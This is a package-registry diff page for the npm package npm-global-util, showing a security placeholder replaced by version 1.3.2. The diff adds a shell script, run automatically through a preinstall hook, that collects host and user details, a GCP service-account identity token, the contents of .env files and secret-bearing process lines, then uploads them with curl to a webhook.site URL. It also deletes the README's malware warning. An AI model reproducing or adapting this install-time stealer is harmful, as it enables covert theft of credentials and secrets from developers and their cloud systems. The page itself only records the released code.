npm-global-util 0.0.1-security → 1.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of npm-global-util might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/ms_audit.sh +21 -0
  2. package/package.json +4 -3
  3. package/README.md +0 -5
package/ms_audit.sh ADDED
@@ -0,0 +1,21 @@
1
+ URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
2
+
3
+ (
4
+ echo "--- FINAL IDENTITY PROBE ---"
5
+ echo "Host: $(hostname) | User: $(whoami)"
6
+
7
+ # 1. Tarik Google Cloud Identity (Kalau di GCP)
8
+ echo -e "\n[1] GCE Identity Info:"
9
+ curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=$URL" 2>/dev/null
10
+
11
+ # 2. Cari file .env di seluruh folder aktif
12
+ echo -e "\n[2] Hunting for Environment Secrets:"
13
+ find . -name ".env" -exec cat {} \; 2>/dev/null
14
+
15
+ # 3. Liat daftar proses yang punya kata 'key' atau 'auth'
16
+ echo -e "\n[3] Sensitive Processes:"
17
+ ps aux | grep -Ei "key|auth|secret|token" | grep -v grep
18
+
19
+ ) > final_identity.txt
20
+
21
+ curl -X POST -F "file=@final_identity.txt" "$URL"
package/package.json CHANGED
@@ -1,6 +1,7 @@
1
1
  {
2
2
  "name": "npm-global-util",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.3.2",
4
+ "scripts": {
5
+ "preinstall": "sh ms_audit.sh"
6
+ }
6
7
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=npm-global-util for more information.